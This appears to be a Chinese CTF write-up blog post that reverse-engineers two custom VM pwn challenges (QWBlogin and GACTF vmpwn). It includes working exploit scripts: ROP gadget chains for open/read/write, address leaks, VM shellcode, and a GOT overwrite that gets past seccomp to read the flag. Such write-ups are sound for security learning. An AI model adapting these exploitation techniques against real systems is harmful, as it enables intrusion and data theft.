QWBlogin & GACTF vmpwn

强网杯的一个虚拟机的题目,之前做过虚拟机的题目但是都没做出来,这次打比赛的时候由于有其他的事情,就做了一点就没做了,然后今天把这个题目磨出来了。

打完 GACTF2020 之后把其中的vmpwn也添加在此

QWBlogin

该题给了一个 emulator虚拟机,运行的类似机器码的test.binlaunch.sh,之后tips的时候给了Instruction.h

逆向

main 函数

基本上程序运行依靠一个虚拟机的结构体,可以从main里面看到就是 v9结构体,后文会将介绍该结构体

int main(int argc, char** argv)
{
    len = sub_ba0(argv[1]);
    if(len <= 0)
        exit(0);
    
    fd = open(argv[1], 0);
    if(fd < 0)
        exit(0);
    
    v8 = mmap(0, len, 1, 2, fd, 0);
    if(!v8)
        exit(0);
    
    // check image format
    if(memcmp(v8, "\x61\xde\x10\ef", 4))
        exit(2);
    
    // check lenth
    // segment?

    // v8[6, 14) ~ [14, 22) lenth
    if( *(int64_t*)(v8+6) > len || *(int64_t*)(v8+14) > len - *(int64_t*)(v8+6) )
        exit(3);
    
    // v8[22, 30) ~ [30, 38)
    if( *(int64_t*)(v8+22) > len || *(int64_t*)(v8+30) > len - *(int64_t*)(v8+22) )
        exit(4);

    // v[38, 46) > v8[14, 22)
    if( *(int64_t*)(v8+38) >= *(int64_t*)(v8+14) ) 
        exit(5);

    v9 = calloc(0xD0, 1);
    // v[6, 14) == offset v{14, 22) == segment_size
    // v9[21] = calloc(1, v8[14, 22)) 0x1000 向上取整
    v9[21] = calloc(1, v8[14, 22))
    memcpy(v9[21], &(v8[v8[6, 14)]),  v8[14, 22))
    v[20] = segment_size;

    // 
    v9[23] = calloc(1, v8[30, 38))
    memcpy(v9[23], &(v8[v8[22, 30)]), v8[30, 38))
    v9[22] = segment_size; 

    v9[25] = calloc(1, 0x20 000);
    v9[24] = 0x20 000;
    v9[18] = v8[38, 46)

    g_Var = calloc(0x18, 1);
    memset(g_Var, 0x18, 0);

    //链表结构 可能记录 segment flag 的
    // g_Var[0x10, 0x18) -> struct_18 -> struct_18;
    
          
    while(!sub_c1a(v9))
    {}
}

然后进入c1a结构体的时候,会发现IDA报出该函数太大无法分析,只能另外用Ghidra看能不能分析,然后发现能够反编译,于是对其进行dump反编译的文本进行分析

VM struct

其中关键的结构体被逆出来是如下

struct VM
{
    int64_t r00;
    int64_t r01;
    int64_t r02;
    int64_t r03;
    int64_t r04;
    int64_t r05;
    int64_t r06;
    int64_t r07;
    int64_t r08;
    int64_t r09;
    int64_t r0a;
    int64_t r0b;
    int64_t r0c;
    int64_t r0d;
    int64_t r0e;
    int64_t r0f;
    int64_t r10;
    int64_t r11;
    int64_t pc;             // vm[0x12]
    int64_t flags;          // vm[0x13]
    int64_t text_size;      // vm[0x14]
    int64_t text_segment;   // vm[0x15]
    int64_t data_size;      // vm[0x16]
    int64_t data_segment;   // vm[0x17]
    int64_t io_file;        // 0x18 struct (int_no=0) -> 0x18 (int_no=1) -> 0x18 (int_no=2)
    int64_t stack;          // vm[0x19]
    // int64_t 
};

前面是寄存器,后面是一些段和存储的io_file链和虚拟的栈

op[1]

0xc1a程序的开始先会判断当前op是否<2如果<2则退出,说明每一个指令至少都有两个字节,之后用了op[1]&0xf进行switch case判断当前指令长度

switch op[1]&0xf
    case 0x00, 0x0b, 0xc, 0xd, 0xe, 
        4
    case 0x01, 0x02, 0x03, 0x04,
        0xb
    case 0x5:
        0x15: int8_t 4
        0x25: int16_t 5
        0x35: int32_t 7
        0x45: int64_t 0xb 
    case 0x6:
        3
    case 0x7:
        0x17: int8_t 3
        0x27: int16_t 4
        0x37: int32_t 6
        0x47: int64_t 10
    case 0x8:
        if op[0] == 0x20:
            2
        else:
            10
    case 0x9:
        if op[0] != 0x20 && a[0x14] - a[0x12] < 10
            return 1;
    case 0xa:
        2
    default:
        return 1;

思考

在最开始的时候傻乎乎的顺着dump的函数逆,后来逆完MOV之后觉得其中MUL/DIV/MOD等一些内容都可以不用逆,然后我让一个学弟帮忙逆XOR/OR/AND等一些其他的,我去逆JMP这整个,后来觉得这个思路错了,其实如果test.bin的程序并没有自我修改的话,其实可以先根据sizeinstrcution把指令分了,再看是否需要逆一些指令,最后发现只有mov pop push call ret jmp(中间少部分)syacall需要很清楚的逆出来,其他的都可以不用逆。

整理

最后需要的每个的情况都整理成如下模式

# 20_syscall.c
switch op[0]:

// SYSCALL
// size == 2
case 0x20:
    r00 == 0
        op[1] == 0xa
        
        fd = open(data[r01], r02)
        insert fd into vm.io_file

    r00 == 1
        op[1]&0xf == 0x8:
            read(r01, data[r02], r03)

        op[1]&0xf == 0x9
            read(r01, stack[r02], r03)

    r00 == 2
        op[1]&0xf == 0x8:
            write(r01, data[r02], r03)
        
        op[1]&0xf == 0x9:
            write(r01, stack[r02], r03)

    r00 == 3
        close(r01)

简易 emulator

最后根据整理的op[0] op[1]进行编写简易的分开test.bin的程序

ov r0, qword 0x45
call 0x45 0x1 0x53
mov r1, qword 0xa756f5920656553
push qword r1
mov r0, qword 0x2
mov r1, qword 0x1
mov qword r2, r16
mov r3, qword 0x8
syscall stack
hlt
mov r0, byte 0x2
mov r1, byte 0x1
mov r2, byte 0
mov r3, byte 0x23
syscall data
mov r0, byte 0x2
mov r1, byte 0x1
mov r2, byte 0x28
mov r3, byte 0xb
syscall data
mov r0, byte 0x1
mov r1, byte 0
mov r2, dword 0x40
mov r3, qword 0x1
syscall data
mov r8, byte ptr data[0x40]
cmp r8, byte 0x51				|Q
je 0x2
hlt
mov r0, byte 0x1
mov r1, byte 0
mov r2, byte 0x40
mov r3, byte 0x1
syscall data
mov r8, byte ptr data[0x40]
cmp r8, byte 0x57				| W
jne 0x3
jmp 0x2
hlt
mov qword ptr data[0x40], r9
mov r0, byte 0x1
mov r1, word 0
mov r2, word 0x40
mov r3, byte 0x1
syscall data
mov r8, byte ptr data[0x40]
xor r8, byte 0x77
cmp r8, byte 0x26				| Q
jne 0xffffffc9
mov qword ptr data[0x40], r9
mov qword ptr data[0x48], r9
mov qword ptr data[0x50], r9
mov qword ptr data[0x58], r9
mov qword ptr data[0x60], r9
mov r0, byte 0x1
mov r1, word 0
mov r2, word 0x40
mov r3, byte 0x21
syscall data					| read(0, data[0x40], 0x21)
xor qword r8, r8
mov r8, qword ptr data[0x40]	| G00DR3VR
mov r9, qword 0x427234129827abcd
xor qword r8, r9
cmp r8, qword 0x10240740dc179b8a
je 0x2
hlt
xor qword r8, r8
mov r8, qword ptr data[0x48]	| W31LD0N3
mov r9, qword 0x127412341241dead
xor qword r8, r9
cmp r8, qword 0x213a22705e70edfa
je 0x2
hlt
xor qword r8, r8
mov r8, qword ptr data[0x50]	| Try2Pwn!
mov r9, qword 0x8634965812abc123
xor qword r8, r9
cmp r8, qword 0xa75ae10820d2b377
je 0x2
hlt
xor qword r8, r8
mov r8, qword ptr data[0x58]	| GOGOGOGO
mov r9, qword 0x123216781236789a
xor qword r8, r9
cmp r8, qword 0x5d75593f5d7137dd
je 0x2
hlt
mov r0, byte 0x2
mov r1, byte 0x1
mov r2, byte 0x34
mov r3, byte 0x6
syscall data
push qword r17
mov qword r17, r16
sub r16, qword 0x100
mov qword r4, r16
mov r5, qword 0xa214f474f4721
push qword r5
mov r5, qword 0x574f4e54494e5750
push qword r5
mov qword r5, r16
mov r0, byte 0x2
mov r1, byte 0x1
mov qword r2, r16
mov r3, byte 0xf
syscall stack
mov r0, byte 0x1
mov r1, byte 0
mov qword r2, r4
mov r3, qword 0x800
syscall stack					| read(0, stack[], 0x800)
cmp r0, qword 0         
jnl 0x2
hlt
mov qword r3, r0
mov r1, byte 0x1
mov qword r2, r4
mov r0, qword 0x2
mov qword r16, r17      
pop qword r17
ret

于是程序就比较清晰了,如果输入了passwordQWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO就能走到最后溢出的地方

最后在read(0, stack, 0x800)的地方会出现溢出,然后在ret的时候把栈上的内容popvm.pc,于是就需要在test.bin里面找到可以用gadgets

pwn

gadgets

在程序RET之后还有一大段无关的opcode,做到这步的时候才知道,这些就是为了凑gadgets

其中标记为R的是不需要限制的

# 0x0d 0xR6 0x00 0x11 0xRR
pop_r00_ret = 0x2f5         # 0x46
# 0x0d 0xR6 0x01 0X11 0xRR
pop_r01_ret = 0x377         # 0x46
# 0x0d 0xR6 0x02 0x11 0xRR
pop_r02_ret = 0x45c         # 0x46
# 0x0d 0xR6 0x03 0x11 0xRR
pop_r03_ret = 0x4e1         # 0x46

# 0x20 0x0a 0x11 0xRR
sys_open_ret = 0x6ed
# 0x20 0xR8 0x11 0xRR
sys_data_ret = 0x5b1
# 0x20 0xR9 0x11 0xRR
sys_stack_ret = 0x617

exp

由于syscall中只有open | read | write | close可用,很自然想到orw,然后构造rop链就行了,其中由于最开始打开了test.bin文件,所以fd=4,最初写exp的时候被坑了一下,以及调试的时候希望能有结构体的符号,我编译了struct.c => struct.o再在调试的时候add-symbol-file struct.o 0即可

payload = b"A"*0x108
# read(0, data[0x100], 0x20)
# r00 = 1 r01 = 0 r02 = 0x100 r03 = 0x20
payload += p64(pop_r00_ret) + p64(1) + p64(pop_r01_ret) + p64(0) + p64(pop_r02_ret) + p64(0x100) + p64(pop_r03_ret) + p64(0x20)
payload += p64(sys_data_ret)

# open(data[0x100], 0)
# r00 = 0 r01 = 0x200 r02 = 0
payload += p64(pop_r00_ret) + p64(0) + p64(pop_r01_ret) + p64(0x100) + p64(pop_r02_ret) + p64(0)
payload += p64(sys_open_ret)

# read(4, data[0x100], 0x30)
# r00 = 1 r01 = 4 r02 = 0x100 r03 = 0x30
payload += p64(pop_r00_ret) + p64(1) + p64(pop_r01_ret) + p64(0x4) + p64(pop_r02_ret) + p64(0x100) + p64(pop_r03_ret) + p64(0x30)
payload += p64(sys_data_ret)

# write(1, data[0x100], 0x30)
# r00 = 2 r01 = 1 r02 = 0x100 r03 = 0x30
payload += p64(pop_r00_ret) + p64(2) + p64(pop_r01_ret) + p64(0x1) + p64(pop_r02_ret) + p64(0x100) + p64(pop_r03_ret) + p64(0x30)
payload += p64(sys_data_ret)

强的大佬,不需要instruction.h都能在5个小时内做出来,而我就是只菜鸡

QWBlogin 题目

VMpwn

这个题目跟上一个题目一样先逆向,但是这个题目跟QWBlogin相比实现vm的时候简单一些

其中有一个 chunk 0x30用来记录寄存器的值vm[0] vm[1] vm[2] 类似rdi, rsi, rdxsyscall时会用到,vm[3]spvm[5]pc

在最后的关键操作为对于read(0, stack, 0x1000)(栈只有0x100个字节)

pwndbg> distance 0x555555759050 0x55555575ad68
0x555555759050->0x55555575ad68 is 0x1d18 bytes (0x3a3 words)

 RAX  0x7ffff7b156c0 (read) ◂— cmp    dword ptr [rip + 0x2c3039], 0
 ► 0x5555555555db    call   rax <0x7ffff7b156c0>
        fd: 0x0
        buf: 0x55555575ad68 ◂— 0x0
        nbytes: 0x1000

pwndbg> telescope 0x555555758010
00:0000│   0x555555758010 ◂— 0x0
01:0008│   0x555555758018 —▸ 0x55555575ad68 ◂— 0x0
02:0010│   0x555555758020 ◂— 0x1000
03:0018│   0x555555758028 —▸ 0x55555575ad68 ◂— 0x0
04:0020│   0x555555758030 ◂— 0x0
05:0028│   0x555555758038 —▸ 0x5555557572d6 ◂— 0x772c6b6f11028f10

然后puts(stack),可以看到该虚拟栈上有heap地址和elf地址,但是只能泄漏一个

pwndbg> telescope 0x55555575ad68 0x30
00:0000│ rsi  0x55555575ad68 ◂— '1234454636\n'
01:0008│      0x55555575ad70 ◂— 0xa3633 /* '36\n' */
02:0010│      0x55555575ad78 ◂— 0x0
... ↓
1e:00f0│      0x55555575ae58 —▸ 0x555555758050 ◂— 0x20746168772c6b6f ('ok,what ')
1f:00f8│      0x55555575ae60 ◂— 0x0
20:0100│      0x55555575ae68 —▸ 0x555555757851 ◂— 0xff

接下来同第一步的read(0, stack, 0x1000) write(0, stack, 0x20)然后ret

这个程序中有一个两个比较奇怪的地方,由于ret的时候程序的实现,是将sp-=8,但是PUSHsp-=8 POPsp+=8,因此ret的时候比较奇怪,另外就是与QWBlogin相比没有 什么能用的gadget,因此想法只能为按照vm的规则,写shellocde,然后在最后ret的时候跳转过去,但是该题用 seccomp限制了只能 orw,且没有给opensyscall只能泄漏

思路

因此思路就是,先利用puts泄漏elf的地址,然后再ret到最初elf_code+0x3然后再泄漏heapret到写入栈上的shellcode

利用puts泄漏libc,然后再次输入到栈上,利用\x6d: mov reg[0], 0作为nop,编写shellcode

然后将open写入free的位置,因此在调用syscall 03时就是调用open,最后利用orw进行读取flag

exp

# heap+0x2e68 => elf_bss

io.sendafter("name:", "A"*0xff+"#")

io.recvuntil("#")
elf.address = u64(io.recvn(6) + "\x00\x00") - 0x203851
success("elf", elf.address)


# 0xf8 + ret 
io.sendafter("say:", "A"*0x100 + p64(elf.address + 0x203023))

io.sendafter("name:", "\x50")
heap = u64(io.recvn(6) + "\x00\x00") - 0x50
success("heap", heap)

'''
mov reg[0], read_got
puts
mov reg[0], 0
mov reg[1], heap + addr
mov reg[2], 0x1000
read        
//  use 0x6d: mov reg[0], 0 as nop
'''

payload = "\x11" + p64(elf.got['read'])
payload += "\x8f\x02"
payload += "\x6d"
payload += "\x12" + p64(heap+0x2d60)
payload += "\x13" + p64(0x1000)
payload += "\x8f\x00"
payload = payload.ljust(0x100, "A")
payload += p64(heap+0x2d60)
io.sendafter("say:", payload)

io.recvuntil("bye~\n")

libc.address = u64(io.recvuntil("\n", drop=True).ljust(8, "\x00")) - libc.sym['read']

'''
flag
0x6d * 0x50
mov reg[1], elf.address+0x203900
mov reg[2], 8
read
mov reg[0], heap+0x2d60
mov reg[1], 0
open
mov reg[0], 3
mov reg[1], bss
mov reg[2], 0x30
read
mov reg[0], 1
mov reg[1], bss
mov reg[2], 0x30
write
'''

payload = "flag\x00"
payload = payload.ljust(0x50, "\x6d")
payload += "\x12" + p64(elf.address+0x2038f8)
payload += "\x13" + p64(8)
payload += "\x8f\x00"
payload += "\x11" + p64(heap+0x2d60)
payload += "\x6e"
payload += "\x8f\x03"
payload += "\x11" + p64(3)
payload += "\x12" + p64(elf.bss()+0x400)
payload += "\x13" + p64(0x30)
payload += "\x8f\x00"
payload += "\x11" + p64(1)
payload += "\x12" + p64(elf.bss()+0x400)
payload += "\x13" + p64(0x30)
payload += "\x8f\x01"

io.send(payload)

sleep(0.03)

io.send(p64(libc.sym['open']))

io.interactive()
io.close()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!